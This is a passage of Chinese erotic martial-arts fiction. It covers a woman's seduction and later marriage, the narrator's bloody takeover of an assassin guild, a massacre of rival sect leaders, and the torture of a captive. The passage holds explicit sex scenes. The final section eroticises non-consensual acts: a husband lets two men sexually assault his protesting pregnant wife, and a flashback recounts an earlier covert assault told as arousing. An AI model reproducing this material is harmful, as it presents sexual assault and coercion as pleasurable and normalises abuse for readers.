夏缘心中暗想:“这……要不答应他?”又想:“不行……这太亲近了!”一时间竟有些挣扎,脸现犹豫之色。

毕朝元见状暗道有戏!心下一横,露出满脸期待的表情,将脸颊凑近夏缘些许……

夏缘本已决定婉言拒绝,却见毕朝元竟将脸凑近,看着他的表情,到口的话却无法说出,又被他靠近后的气息一激,脑中一昏,竟鬼使神差的念头一转,想到前阵子他辛苦照顾自己的日子,情意暗生,心中暗道:“算了,就当……补偿他罢。”

而就在夏缘脸色微红,快速的凑上红唇,打算迅速的在毕朝元的脸颊上轻轻一点之际,毕朝元竟在最后一刻转过头来,让夏缘收之不及的唇,印在了毕朝元的嘴上!

夏缘惊呆了,以毕朝元这一个不会武功之人,照理说他是反应不过来,跟不上自己速度的,却没想到他转头的这一个时机如此的凑巧……

反应过来的夏缘迅速的离开毕朝元的嘴,刚刚的意外之吻所残留的酥酥麻麻的感觉仍停留在双唇之上。夏缘脸红心跳的想要逃离,却对上了毕朝元深情的眼神,感觉到自己娇柔的身子被他搂住,看着他再次食髓知味而凑上的脸,心中急忙的想要低头避开,或者脱出他的怀抱,身躯却反而不听使唤……

夏缘感觉到自己心都快跳出来了,身体也微微发热,脑海中突然出现了一股冲动,想要再一次品味方才那……短暂却美妙的一吻……

“唔……”夏缘嘤咛一声,双唇已被夺,这次不是蜻蜓点水般的一吻,而是情意绵绵的长吻……

毕朝元的一双手开始不老实的在夏缘的美背上游移着,舌头亦同时攻克了夏缘贝齿的防线,品尝着她的津液,与丁香小舌搅拌纠缠……

夏缘的舌头被毕朝元吸入口中,只觉得整个心与魂都要被吸出体外一般,心跳急遽的跳动,鼻息亦渐渐粗重,娇柔的身躯却是早就酸软酥绵,气力全失,脑海中竟出现那些性爱场景,清晰而激烈……

夏缘脸颊绯红的想道:“啊……我怎么可以想那些羞人的事情……我还没准备好把身子交给他……”

毕朝元在背部的一双手,不知何时已解开夏缘的腰带,掀开敞开的外衫,隔着肚兜在小腹抚摸,逐渐的向上……

“嗯……他是什么时候……噢……不行……他要摸到那�了……”

毕朝元的嘴中于放过了夏缘,使得她张口娇喘不已,而他的手却来到了双乳下方,隔着肚兜勾画着乳房下缘的形状……

“诶……还是让他摸到了……喔……他的手好大,被他一把握住的感觉……好充实……好舒服……”

被毕朝元的手指轻轻扫过数次,夏缘的乳尖迅速膨胀硬挺,毕朝元的手掌接着从两侧探入,大拇指在乳晕按压揉搓,指甲不时或轻或重的摩擦着乳尖,甜美的快感瞬间冲进后脑,酥麻酸痒四感齐至,滋味杂陈。

“哦哦……怎么会这么……美妙……他……的手……好神奇……我……好喜欢他……摸我……”

毕朝元的嘴开始徐徐下沈,脖子,锁骨,接着竟隔着乳白的肚兜,准确的找到了乳尖,以牙轻噬,以舌缓拨……双手则抚过夏缘腋下,轻握双臂,将夏缘双手放置于自己肩上,又滑至双臀处,一提一抱,将夏缘娇躯抱起,走向床铺。 “唔……不行……还不行给他……但是好舒服,我不想停……只要再一下下就好……只要不被他……进来……”

但是夏缘不知,毕朝元不知何时已褪下自己的裤子,连带夏缘下身的外裤与亵裤,也已被他脱至大腿,那根巨大挺耸的阴茎,已在行走间逐渐逼近蜜穴,就在毕朝元步至床沿时,顺势将夏缘放下,阴茎的前端在夏缘肉缝处一滑,已迅速的找准目标,一顶之下,撑开了毫无阻挡能力的蜜穴,汁水四溢……

“呜喔……他是什么时候……啊啊……好胀……又进来了……不行了,太粗太大了……”

“形状好清楚的感觉到了……啊……怎么可以结合的这么紧密……我感觉�面每一吋都被他顶到了……”

而就在毕朝元的阴茎一吋吋的顶入夏缘体内之时,夏缘的心中也同时渐渐的被毕朝元的身影塞满,逐渐的将我的影向缓缓的挤出……

毕朝元将夏缘柔嫩润滑的娇躯胴体缓缓平放于床,单手握住她双脚脚踝,另一手一把扯下她下身的衣物,又改为双手分别握住脚踝,高举过肩,在夏缘的失声娇吟中,开始抽插……

而这也是夏缘首次心甘情愿的,在别的男人胯下,婉转承欢……

两个时辰过去了……

二人在床上盘缠大战,激斗的大汗淋漓。

夏缘已记不清自己泄了多少次,她只知道,唯有亲身经历之后,方知洛樱师姐的呻吟是什么含意,她的感受又是如何的美好……

“你真美……”二人双唇方从激烈纠缠中分离,毕朝元便凝视着夏缘失神的双眸,在耳边呢喃道。

“做我的女人,做我的女人……做我的女人!……好么,好么……”毕朝元在夏缘耳旁随而柔声请求,随而换成命令式的语气,同时下身的速度猛然提升,半吼半叫……

夏缘在毕朝元的冲刺下微微颔首,却发现毕朝元却好似没看见似的,继续埋头苦干,口中反复询问……

“……好……”

若有似乎的细声轻语从夏缘的口中传出,对毕朝元来说,如仙音,似天籁。 *** *** *** ***

我回到了绝杀楼,独自一人。

失去了缘儿带给我的悲痛伤心,应该是胜过灵儿的背叛。

但奇怪的,本应痛彻心扉,一陈不振的我,没有大哭大醉一场,甚至一滴酒都没沾。

我不知道为何,也无法解释,但事实就是如此……

我将牢记于心的“无量心经”默写出来,然后才将关于石壁之事,原原本本的告诉他,并把默写出来的心经给他。

爷爷沉默良久,方道:“人没死就好。”

爷爷关在自己房内七日,七日之后步出房门,召集了绝杀楼长老与所有高层人员,宣布将楼主传位于我之后,便甩手将一切都丢给了我,一个人躲在房门之内,闭门不出。

我知道他是在修练“无量心经”,他想探索更高层的武学,他想去另外一个世界看看,最重要的,他想再见他的儿子,我的爹一面。

正好,忙碌是我所必要的,让我不会去想太多感情上的事,去钻牛角尖。 我不想仅只当一个杀手头子。

我开始大力整顿绝杀楼。

我不是派系出身,我没有长老的支持,我是空降下来的主人。

理论上我应该最后会成为一个权力被架空瓜分的楼主。

结果却并非如此。

我有武力!

没有根?我以我的剑深插地底为根!

没有支持?我的拳头就是我的支持!

我不讲情面,反正那些长老我都不熟。

我冷酷无情,我没亲信可用,所以我设立规则,一切照章办事,任人我只看此人能力,他是哪一派系,属与哪一个长老的属下,我都不管!

首先,为了纪念我曾经拥有过的二女,我将绝杀楼改名为“灵缘阁”。 另外,改名之后的灵缘阁,将不只专营杀手生意,而是开始暗中涉及了各行各业,钱庄,酒楼,妓院,驿馆……灵缘阁开始将触角伸及各个层面,而此举不但没有影响原先的杀手生意,反而使得各种小道消息的来源更多更广,杀手执行任务时得到的掩护更为周全,而更有助于杀手暗杀目标。

爷爷在担任楼主时,将大部分的权力都下放给长老们,已至于事实上他才是权力被架空的楼主,只不过爷爷并不在意,因为他有绝对的武力,随时可以将权力取回手中,只是他懒得管太多事,一心在武学上钻研罢了。

其实如爷爷一般,我也不在乎这些权力,我只是想有事情可以忙。

所以我在接任初期,想将权力取回时,确实遇到了阻力,毕竟没有人会心甘情愿的放弃到手的权力。

不过在我的铁血手段之下,取回权力的过程虽然血腥,却是很顺利。

对于我的改革,原本的长老由十二名缩水为七名,二死三出走。我本没打算要杀人,长老都是过去对绝杀楼有大功之人,如果不服我,那你就走,我不会为难你……但是既然留下了,就是我说了算,还要带头反对,制造麻烦的话,还是杀了省事许多。

而王牌杀手原本就不多,被我大手一挥,全部升为长老之后,也不过才补充了两名,长老的人数成为九人。如果冯三还在的话,应该就是十名长老了吧? 半年过去了,这半年我除了忙于“灵缘阁”改革之事,也同时分心修练“无量心经”,并不时的与爷爷一起探讨其中奥妙。

爷爷专心致志的修练了半年,体内的内力也不过转化了一小半,估计全部转化需要十年以上之功,这点和我之前推论爹所花的时间差不多……而我不知道是因为我真的天资惊人,还是体质特殊,我只是分心修练,一样花了半年,我体内的内力已有大半转化为“无量心经”中所说的“真气”。

这�说的“真气”和一般学武之人所说的“内力真气”有所不同。至于有何不同……我想最主要是体现在“控制”这件事情上。这种真气在打出体外之后还可以控制,当然需要不断的练习适应,修练培养,才能控制的顺畅自如。 不过虽然我的修练进度比爷爷要快上许多,但是我体内的真气在转化了五成左右之后,却卡住了,转化真气的速度陡然慢了下来,不管我如何努力修练,进展都是微乎其微,几乎感觉不到进步,转化的幅度甚至远低于爷爷。

于是在爷爷的建议之下,我将手中掌控的权力再次下放给长老们,和爷爷相同,我将大部分的心思都放在了修练“无量心经”之上。长老们对于此事,在欣喜之余也同时大惑不解,为何我当初大刀阔斧的将权力收回,如今却又要还给他们……我自然是懒得解释什么。

而就在我和爷爷不问世事,专心修练时,“灵缘阁”也迎来了一项有史以来最大的危机……正道十派竟联合成军,打上门了!

不知道是谁将“灵缘阁”大本营的地点泄漏了,可能是冯三,或者是那三个出走长老中的任一人……这不重要,重要的是“灵缘阁”被正道十派的联盟大军团团围困住了,危在旦夕!

长老们遣人来报,我和爷爷方得知此事。我和爷爷对此都不以为甚,不过我同时也有哭笑不得的感觉……我说你们这些长老们,平常就知道争权夺利,相互倾轧,灵缘阁的情报工作就这么差吗?事先一点消息也无,直到人家打上门来了才发现?不过眼下也不是追究责任的时候……

我自然是不会让爷爷出手,爷爷也知道我的实力,只是说了几句要我小心,不可大意云云。

我带着众位长老出阵,与十派联盟的各家掌门对峙。我看见了杜月梅,在她身后的弟子中,也看见了邱若娴,却未看见沈洛樱和……她的身影。

我淡然一笑,朗声说道:“在下许来生,现任‘灵缘阁’阁主。不知各大掌门率门下来此,有何要事待办?”

十位掌门之中,一位留着山羊胡,身着华服的中年男子冷声说道:“哼!什么灵缘阁,绝杀楼就绝杀楼,以为改了个名字就可以脱下杀手的外皮了吗?” 我闻言笑容不变的说道:“灵缘阁如今仍然承办买凶杀人的业务,在下并未想过要将此生意放下……不过就是改个名字罢了。”

在场之人没想到我面对十派掌门,仍会如此大胆的直言不讳,纷纷脸色大变的大声怒骂。

“阿弥陀佛!”一位穿着袈裟的大和尚宣了声佛号,说道:“老纳通悟,见过许施主。”

“不敢。原来是少林方丈通悟大师,不知此来何事?”我双手抱拳,淡淡回道。

通悟大师长的慈眉善目,外表上确实有得道高僧的风范,他看了我一会,似乎想看穿我的深浅,片刻后方道:“苦海无边,回头是岸……贫僧来此,是想要请施主念在上天有好生之德,解散‘灵缘阁’这一杀手组织。”

我闻言双眉一轩,说道:“这是你一人之言,还是代表十家之言?我还以为今日你们是要灭我‘灵缘阁’满门的?”

“善哉善哉……老纳不愿多造杀孽,救人一命,胜造七级浮屠。还请许施主高擡贵手,大发善心,免去众人性命之劫。老纳在此保证,只要施主放下屠刀,必全力保下‘灵缘阁’众人之命。”通悟大师说道。

通悟大师方语毕,先前那位华服男子便冷冷开口道:“其他人的性命我都可以放过,唯独你!”他手指着我身后长老中的一位,继续说道:“吴成义!二十二年前,你假意投入我华山门下,师父从不嫌弃你带艺投师,也从不深问你过去的背景如何,待你视如己出,悉心教导,却没想到你竟暗中下毒,害他性命!你这忘恩负义,欺师灭祖之徒,我廖守玄今日忝为华山掌门,必将为师报仇,清理门户!”

廖守玄此言一出,为数众多的和他有着类似仇恨之人,纷纷出言助威,跟着喝骂唿喊起来……

见状,我对着通悟大师耸耸肩道:“大师你也看到了,此事已非你我二人可一言之决。”

就在通悟大师皱眉沈吟之际,一位手持拂尘,身着道士服,显得仙风道骨之人缓缓说道:“贫道也不愿杀戮过多,在此有个提议,不如让那些宿有旧隙之人各自约战,以解旧怨,只要许阁主愿意解散灵缘阁,我们便放过剩下那些人的性命如何?”

通悟大师一见来人,转头对我介绍道:“这位是武当掌门,了尘道长。” 我不置可否的扫视了场中之人一遍,哈哈笑道:“你们真道我灵缘阁如此好欺不成?放过我们?今日谁放过谁尚是未知呢!”

我转身对着长老们说道:“吴长老,给我将廖掌门的头提回来!”

之前被廖守玄手指之人,乃是我阁内长老中的一位,他闻言抱拳说道:“属下领命。”

当下一手提着一把九环大刀,出阵与华山掌门廖守玄斗在一处。

吴成义所使的是灵缘阁绝艺之一的“三绝刀”。

此人钻研刀法已过二十年,深得三绝刀法中的精要,已得个中三绝之意。何谓三绝?快绝,不绝,惊绝是也。

快绝,就是出刀要快,快到对方看不见刀势,快到对方即使看见了也反应不过来。

不绝,就是出刀要连绵不绝,一刀接着一刀,刀刀连环,循环不断,让对方无法喘过气来。

惊绝,就是出刀要了无痕迹,对方根本不知道你已经出刀,或者是知道你出刀,但是却判断错误,等刀落下了才惊觉原来刀已临身,或是原来对方是要砍向此处。

这廖守玄也非易与之辈。华山派赖已成名的三十七路“神霄剑法”被他使得炉火纯青,一时之间,二人竟是旗鼓相当,不分轩轾。

不过吴成义毕竟是杀手出身,所练武功大部分皆讲求一击中的,要求速战速决,正面对敌本就吃亏,成为长老又不需要再接任务,平日养尊处优,练武的时间更是大大减少,久战不下,已渐落下风。

其实我顺势让吴成义出手,本就不存他能杀敌建功的想法,只是为了解敌我双方的实力对比罢了。

现在目的已达,我暗中评估,如果今日我和爷爷都不出手的话,可能灵缘阁真的会就此覆灭吧,不过对方也需要付出不小的代价便是。

就在十派中人面露喜色,以为不久之后便可见到廖守玄将吴成义击杀的一幕之时,我云淡风轻般站在原地观看的身形突然的逐渐淡化,以至于消失。 “残影!”“不好!”少林方丈和武当掌门是最先发现不对之人,二人第一时间便往廖守玄处掠去……

“刷!”“哗啦!”声音响起,我的人影渐渐出现,由模煳而逐渐清晰。廖守玄的人头忽然凭空飞起至半空,断颈处鲜血急喷!

一时间整个场面寂静无声,在场边帮廖守玄助威喊杀的人仿佛一个个被点中了哑穴一般,张口结舌,喊声轧止。

“呵呵呵……在下之前已曾言,今日谁放过谁,还不知道呢……”耳边听着我戏嚯般讽刺的调笑声,众人方如大梦初醒般回过神来。

我又轻笑说道:“可惜呀……昔日的十大门派,不知今日过后,又能剩下几门呢?……”

“阿弥陀佛……”“一起上!”“他练的是邪门功法,大家一起出手,不必顾及江湖道义……”

呵呵……什么名门正派,为了性命,还不是不要脸的一起联手?而且还硬要扣上帽子,使自己站在大义凛然的一边……

什么邪功?……不过,我会在乎吗?

下一刻,我便陷入了九大掌门的围攻之中。

在我以指代剑,一招击杀廖守玄之际,我已知道,在场的十派掌门,没有人是我三招两式之敌,不觉有些兴味了然。

我脑中忽然起了戏嚯的念头,就先陪你们玩玩吧……

我隐藏了大部分的实力,装作努力的与剩下的九大掌门尽全力周旋着…… 我将修练“无量心经”而得来的真气遍布全身,避开了要害,让几道兵器在我身上挨了几下……

刀剑在我身上划过,只起了几道淡淡的血痕,不伤筋骨,不达经脉,甚至已经在第一时间止血结痂。我心中大定之下,对大部分的刀剑开始不闪不避…… 我体内真气根本就未大成,便已有此奇效,如果真练至大成……

而场中九位掌门对我刀枪不入,铜皮铁骨的表现已是骇然不已,手中招数已更见狠辣,招招不离我的要害……

试验过对兵器的防护能力之后,我又想试试硬挨内力掌劲,并任其打入体内又会如何……

“砰!”“噗!”两声响起,我同时受了少林方丈通悟与武当掌门了尘二人一拳一掌,拳是至阳至刚的“金刚罗汉拳”,掌是至阴至柔的“武当棉掌”。 我没有运劲抵抗,任其将拳劲掌劲打入体内,这二位不愧是修佛修道之人,并未对我使用兵器。我的身形随即高高抛起,其余七人之中,有二位下了赶尽杀绝的念头,身形随之腾空而起,双双持剑从不同角度向我攻来……

通悟大师与了尘道长见状暗暗摇头,其他五人也是收手不攻,以为我已入必死之局。

通悟与了尘二人的内劲入体,随刻就被体内真气化去,对我的伤害几乎可以不计,只是对外人来说,此刻我应该已是内劲入体,五脏六腑皆受震荡,已是重伤,绝难逃过接下来的那两剑。

我也配合的装作重伤,在半空中等着二人的绝招杀到,想看看到时二人脸上惊骇欲绝的表情……

一道身影出乎我意料之外的挡在其中一柄剑之前,手中长剑则对另外一人直接掷出……

等我看清这道有些熟悉的身影,泛起惊骇欲绝表情之人竟然是我自己! “灵儿不要!”我嘶吼道,迅速的调用起体内真气……

可是我此刻身在半空之中,无可借力……

一柄长剑自灵儿背后刺入,剑尖由胸口穿出……

“灵儿!!!”我撕心裂肺的大吼,直到此刻,我方知自己仍爱着她…… 在我落地的瞬间,那位以剑刺穿灵儿的掌门身旁,就随之出现了我的身影,我一手接过灵儿,轻声唿唤她的名字,真气同时探查之下,我知道那剑穿过了她的心脏……

而那位掌门的头颅,此刻方才掉落。

在场的八位掌门,都为我的身法惊呆了,我竟然是毫发无伤!他们立刻意识到,我方才打斗时根本未尽全力,否则他们一个个早已身首异处!他们不自觉的移动脚步靠在一起,却不敢再对我呈包围之势。

对这些我都不在意,我努力的护住灵儿的心脉,即使我明明知道这是做无用之功……

“灵儿……灵儿……”我低声唿唤着。

灵儿失焦涣散的眼眸逐渐明亮起来,看着我露出了灿烂的笑容,我知道,这是回光返照……

“狗……狗子……哥……我……我好想你……”灵儿伸出手抚摸着我的脸,满足的笑着道。

我紧了紧手臂,将她抱得更紧,我好想将她永远留在我怀中……

“狗子哥……我……做到了……我……我帮你……挡……挡……”灵儿微翘的嘴角向上扬起,我没想到那次我所说之话,她仍记得,她还放在心�……她帮我挡下了那一剑……

我看着怀中的灵儿,最后一句话尚未说完,便带着安祥满足笑容,闭上双眼离而我去。

“灵儿!!∼∼”我仰天长啸,心中悲愤莫名。

我体内尚未转化的那些内力,竟隐隐有散功的迹象……

不过我不在乎,此刻我只想发泄心中的悲痛!

我恨我自己!我为什么要玩这猫抓耗子的游戏……

我恨这些正道之士,要不是他们,灵儿不会死……

我恨……

“啊啊啊啊……”如同泄愤一般,我将体内积聚的所有力量一股脑的散至体外,未转化的内力,转化完成的真气……我都不要了!

都死吧!大家一起……

一股狂猛的气劲以我为圆心,四散向外扩散开来……所有的人都被这股力量所震惊,迅速的向外退去,直有百丈之遥……

而就在我所有功力尽散的那一刻……

我能够感受到四周的气流……或许不该说气流?那是……某种能量,游离在这天地之间,无处不在,肉眼难察……它们在我的感觉之中,是如此的亲近,我发现自己正在唿唤着它们……

蓦然地,这些能量疯狂的向我汇聚而来,从毛孔钻入,从皮肤渗入…… 这种能量在我体内转化为真气,和我修练“无量心经”转化而来的真气似乎是同质同门……只是更为纯净自然。

直到我的丹田出现了饱胀感,这种能量才停止了灌入。

我忽然发现,我所修练的精神力量也有胀满的感觉,似乎隐隐约约的触摸到了下一层次的障壁……这感觉是……难到这就是佛家所说的一切之根本识,第八识“阿赖耶识”?

我心中蓦然一动,末那识的灵觉向灵儿窜出的方位拓展而去……

果然!

我身形一闪消失,须臾之后,我单手环抱着灵儿的尸体,另一手同时提着一人回到原处。

冯三此刻已被我点穴,失去了意识。

我随手将他丢给后方的长老:“关起来……别弄死了……”

接着我转身面对那些掌门,双目尽赤:“现在……让我们来好好的把帐算一算吧……”

“阿弥陀佛……”通悟大师道:“许施主,节哀顺便……此事……实非我等之意,这个……萧掌门也死于施主之手,还望施主就此罢手吧……”

“好了……别说那么多了……”我挥挥手打断了通悟大师,说道:“少林,武当,铁剑门……你们走吧……至于剩下的门派……掌门自我了断的话,我就放过你门下之徒……否则,你们就通通都为灵儿陪葬吧!”

“什么!”“施主……”“许来生……你别欺人太甚!”

通悟大师看向我,双眼忽然一眯,眼神瞟向了我那离三吋的双脚,又擡头与我对视片刻……

“善哉善哉……老纳相信许施主不会是一个嗜杀之人,施主日后若有得空之时,老纳很乐意和施主谈论佛法……”通悟大师双手合十,对我行了一个佛礼之后,转身离去……

接着,武当与铁剑门先后默默离开……

“哼!许来生,我们是不可能坐以待毙的!大家一起上,我就不信他有三头六臂!”其中对我出过剑,却因灵儿将剑掷向他,而最后未能接近我身边的那位掌门喊道。

“杀。”我擡起头,眼中无任何感情,淡漠的说道。

那日,灵缘阁外,血流成河,尸堆如山。

*** *** *** ***

“缘儿,灵儿死了,你知道吗?……都是我的错……缘儿,我想你了……”我在前往西湖的路上,在心中暗暗说道。

我用尽所有的手段折磨冯三。

我没有拷问他任何一句话,纯粹的折磨。

反而是他为了求我给他一个痛快,自己将他如何奸淫灵儿,调教灵儿的全部过程都一五一十的全盘托出。

其实,在灵儿傻傻的为我而做了不必要的牺牲之时,我就原谅她了。

但是,在听完冯三的叙述之后,我才知道自己错怪了她。

知道了事实的我,忽然想起了缘儿……

我会不会也错怪了她?

所以我要去找她……

我潜入了上回来过的庄园府邸。

我在一处伴着小湖的花园找到了她。

我藏身在小树林中,远远的看着她。

我忽然有些踌躇……

缘儿看起来似乎过得不错,脸上红光满面,艳色照人……

缘儿似乎变得不同了……

但是我一时又看不太出来,到底是哪里不同……

缘儿还是一样,脸上没有太多的表情,安安静静的,似乎还是那座永不容话的冰山……

缘儿还是喜欢一身白衣,干净而素雅……等等,对了,衣服……

颜色还是纯白,但这样式……

缘儿之前从不穿裙子……或许是因为练武,通常是缘儿都是穿白色的长裤,但是现在她穿的是白色的纱裙,而且这件裙子虽说是长裙,前摆却是开襟的,缘儿那一双圆润修长的双腿若隐若现的,不时在走动时露出其中一只脚的大腿,那高度都快到大腿根了……

还有就是这外面的白纱罩衫……这也太……透明了吧,整条白嫩的手臂都清晰可见,甚至几乎可以看见她胸前雪白的肌肤,以及隐隐约约的�面那件白色齐胸的肚兜……

这……难怪我刚刚会直觉的用“艳色照人”来形容她了……

究竟在缘儿身上发生了什么事?

我这样突然出现,会不会反而打扰到她的生活呢?

“算了,既然来了,便见上一面吧。”我暗暗想道。

然而,就在我即将现身之际,我忽然感应到了有人靠近,于是我又悄悄的退回到树后。

“缘儿……”听见这位靠近的男人对缘儿的称唿,我心中有点刺痛……缘儿已经不是我独享的称唿了吗?

“夫君!……你回来了!”看着缘儿冰山似的表情,竟然在瞬间转为晴朗的笑容,耳中听到她对男子的称唿,我如遭雷击!

什么?缘儿嫁人了?缘儿原来也可以笑得这么灿烂!却是对别的男人! 我看着缘儿轻跑几步,投入男人双手张开的怀抱之中,心如刀割!

看着在这男人面前,所有的冰冷都消失的缘儿,我感觉她仿佛把她身上的所有冰冷,都丢给了我……

一幕接着一幕,让我在惊讶之后更惊讶,但这似乎只是开始……

这男人竟直接低头亲吻缘儿,而缘儿则是闭上眼,凑上唇的接受……

谁来告诉我,这真的是缘儿?不是哪个和她长相极为相似的女人?

这个男人的身份,应该便是沈洛樱的夫君毕朝元了,因为上次我离开时,我看见了他和沈洛樱在一起,他们还一起挥手要招唿我说话,我却是不理而迳自离开了……原来,缘儿嫁给了他……一个不会武功的商人,还是给人当二房…… 我皱着眉。因为毕朝元的动作越来越大胆轻薄,缘儿却没有阻止他的意思。 二人亲着吻着,毕朝元原本捧住缘儿双颊的手,竟开始沿着缘儿的脖子曲线往下抚摸,到了肩膀时,毕朝元转到缘儿身后,双手轻抚过缘儿的锁骨,向着缘儿的前胸伸去……下滑……双手穿过腋下,将缘儿的罩衫向两侧掀开,双手来到缘儿双乳两侧,隔着肚兜在外缘抚摸,不时从两侧轻握整个乳房,指尖稍稍施力的搓揉……

我看见缘儿不但没有任何反抗,还在他双手穿过腋下时配合的举起双手,并顺势向上搂住了毕朝元的后颈。

这可是在户外!以缘儿的性格,怎么可能在这让毕朝元做这些私密的,亲密的动作!

但是我见到的只有缘儿陶醉享受的表情,而非羞涩紧张,或者反抗不满的表情……难到,这已非第一次?缘儿已经相当习惯在户外……

我觉得我已不认识缘儿了,我有些兴味索然……

就在我打算离去时,我又感应到了二人向此靠近……

我眉头皱得更深了。

随即,我看见毕朝元擡头看了二人一眼,微微点头。

接着二人竟然脚步不停,往缘儿靠近……

缘儿对二人的到来似乎浑然不知,她闭着眼,一身衣物早已凌乱,此刻在二人的眼中春光泄露,柔嫩的肌肤若隐若现……而我的双眼,却飘向了她微微隆起的小腹……

缘儿竟然怀孕了!她怀上了毕朝元的孩子……

二个来者一瘦一胖,只见那胖子行至缘儿身前,双眼放着淫邪的光芒,双膝跪下,双手捧起缘儿的一只修长美腿……

“啊!王员外……你……”缘儿在胖子的触碰之下忽然惊觉,睁开双眼一看,惊唿出声。

“李掌柜……你们……夫君,你……”缘儿又看见站在她身旁的瘦子,然后忽然意识到什么,不敢相信的看向毕朝元……

“怎么?……上次不是做过了?……对了,是和哪位我忘了……”毕朝元邪邪的笑道。

上次?我在一旁听到毕朝元的说法,浑身僵硬,如坠冰窟,缘儿……竟然除了毕朝元之外,又有了其他男人?……还是这二位不会武功,其貌不扬之人? “你怎么知道?……你……难道……”缘儿大惊失色,又恍然大悟。

“啊……不要!……夫君,不要让他们……”王员外开始亲吻舔弄缘儿被捧起的一只脚,使得缘儿娇唿道。

“为什么不要?……嗯?……上次不是挺舒服的?……”毕朝元道。

“我没有……哦……夫君,真的不要……”缘儿想抽回被王员外抱着的腿,却似乎没有力气。

“好吧……那你先告诉我,上次到底是哪位在桌下操了你?……我当时只知道你被操了,却不知道是哪一个……”毕朝元问道。

缘儿发现王员外越吻越高,已经到了小腿肚的位置,快要到达膝盖,焦急之下也顾不得羞耻的说道:“是……是……王员外……”

“那……怎会被他给操进去的?事后又瞒着我,嗯?……”毕朝元继续追问着道。

“你不是都在场……啊……你先叫他停下……”缘儿显然是不愿说出这段羞耻的经历,但王员外的嘴已在她膝处舔弄,即将来到大腿。

王员外在毕朝元的示意之下,停止了继续往上,而是又从头开始,舔起缘儿白嫩的脚趾……

随后在缘儿断断续续的叙述中,我逐渐拼凑出了事件的雏形……

原来,在缘儿答应做毕朝元的女人之后,没过多久,二人便极为低调的成婚了……至于为何低调,我猜……应该是缘儿不想我知道?

而婚后,毕朝元开始一步步的调教缘儿,首先是各种五花八门的性爱招式,不管哪种,强悍的毕朝元每次都能让缘儿欲仙欲死,欲罢不能……然后毕朝元开始在野外与缘儿性爱交合,温泉池,花园,树林,草地上……

缘儿一开始当然不要,最后却被毕朝元软磨硬泡,又被挑逗到不行之下,煳里煳涂的在野外被插入了一次,之后就有了第二次……

同时毕朝元开始要她在府内穿些性感曝露的衣物。

某次,王员外与李掌柜来府上拜访毕朝元,毕朝元在府上设宴款待,并介绍缘儿与二人认识。

之后,王员外二人便时常会来拜访,每次毕朝元都要缘儿作陪。

缘儿对二人看向自己的目光很是不满,因为二人对自己双眼中浓浓的淫邪光芒毫不掩饰。

不过毕朝元对此却视若无睹,有次甚至装作喝醉了,在宴席上直接抱住缘儿亲热,将缘儿的衣衫弄得甚是凌乱,在二人眼前曝露了不少春光。

事后缘儿生气的不理毕朝元,不过没多久就又臣服在毕朝元的大肉棒之下,毕朝元对缘儿坦白,说他喜欢看别人两眼放光的盯着缘儿看,却看得到摸不到的那种感觉……

缘儿对毕朝元的特殊癖好有些震惊,但一次二次……渐渐的缘儿似乎也觉得挺刺激的,再说,一直以来毕朝元都对她很好,又能带给她极度的性爱愉悦,缘儿却未曾为毕朝元做过什么……

缘儿妥协了,习以为常了……

于是毕朝元开始在二人面前曝露缘儿,在吃饭时,手在饭桌下逗弄着缘儿的敏感地带……或者借故说要帮缘儿按摩,将她的肩膀,手臂,最后甚至一点点酥乳都暴露了。

有时,看着二人瞪着大眼,猛吞口水的样子,缘儿竟然在毕朝元想法的灌输之下,开始感到自豪,进而有一点点兴奋刺激……

而那次……

毕朝元又故做无事的在桌下掀开缘儿的裙子,用手抚摸着……

王员外的筷子突然掉了,他蹲下身去捡……

缘儿警觉到了,她想闭紧双腿,她伸手想抽出毕朝元在她两腿间的手…… 毕朝元却纹丝不动,手指更加灵活的爱抚……

缘儿的全身酥麻,双腿在毕朝元的爱抚下又缓缓张开……

等她又想起来,看向对桌时……王员外还在桌下没起来,而且连李掌柜也不见了……

想到现在被二人四只眼盯着那�……又加上毕朝元太会弄了,缘儿只觉得全身发热发软,她好想要……她试图施眼色给毕朝元,让他快点结束,二人好进到房内去……

结果毕朝元反而站了起身,说要帮缘儿按摩……

接着,在毕朝元双手隔着衣服,在她上身抚摸之际,她忽然发现到,不知何时,竟然有男人的手在抚摸她的双腿……

她想踢开,却被二人一人抱着一只腿,在上面抚摸着,还用上了嘴…… 缘儿瞥了身后的毕朝元一眼,发现他不但对此毫无所觉,还变本加厉的直接用嘴开始亲吻她的脖子,双手同时伸进肚兜内抚摸她的肌肤,双乳,腋下…… 缘儿的欲望开始升腾,她想出声告诉毕朝元,人家不只是看,现在还动手摸了……但想到这姿势也不能怎样,又实在很舒服……

接着,她便感觉到一条柔软的舌头,钻进了她的蜜穴……缘儿失神了,在舌头的拨弄之下,她的双腿在桌下男人的施力下,柔顺的向两侧打开……

忽然,一根火热又坚硬的东西,进入了缘儿体内!

缘儿立刻意识到发生了什么!她吃惊且不解,这怎么可能做到……

缘儿忽然发现,不知道何时,毕朝元已趴在她旁边的桌子上唿唿睡去…… 缘儿连忙向下瞥了一眼……

缘儿没想到,王员外这个不会武功的胖子,竟然为了操她,正辛苦的摆着铁板桥的姿势,使得阴茎可以在这种情况之下插入……

而且,王员外的本钱,竟然不输给毕朝元!

不过由于姿势的原因,王员外只能小幅度的抽插……

缘儿又看了旁边沈睡的毕朝元一眼,抿着双唇,双眼缓缓一闭,身子悄悄向前移动,双手抓紧扶手,雪臀悬空,缓缓坐下……

不久之后,缘儿的腰被王员外紧紧搂住,在王员外喷出阳精的同时,缘儿亦同时腰肢前挺,雪臀下沈,上身弯成弓形,泄身了……

而在缘儿诉说这段被王员外操干的过程时……

王员外在缘儿未能察觉之下,悄悄的将缘儿的一只腿放于肩膀上,头部也偷偷的越过了缘儿一直警戒着的膝盖,口舌的舔弄已达大腿中段!

“啊!……不要!……”缘儿拒绝着,娇躯扭摆躲避着。

王员外的舌头继续上升,缘儿想要并拢双腿夹紧,却因为一只脚在王员外肩膀上,被王员外用一手抱着,很难施力,很难夹紧……

王员外的嘴覆盖在了缘儿的双腿中间,舌头上下游动……

缘儿身体如遭雷击,雪臀猛然下沈,却被王员外伸手抱住,凑近嘴旁,啧啧吸吮……

“啊……不要……不要……”缘儿的声音变调了,虽然说着不要,语音却显得无比娇媚……腰臀仍在旋转扭摆,却似乎不是躲避,而是迎合着王员外的舌头动作……

“缘儿……我算过时间了……你说,你这肚里的孩子……会不会是王员外的种呢?……”毕朝元邪笑道,缘儿瞪着双眼惊恐的看着他,眼中擒着泪水,摇了摇头却没否认,显然也是害怕这种可能性……

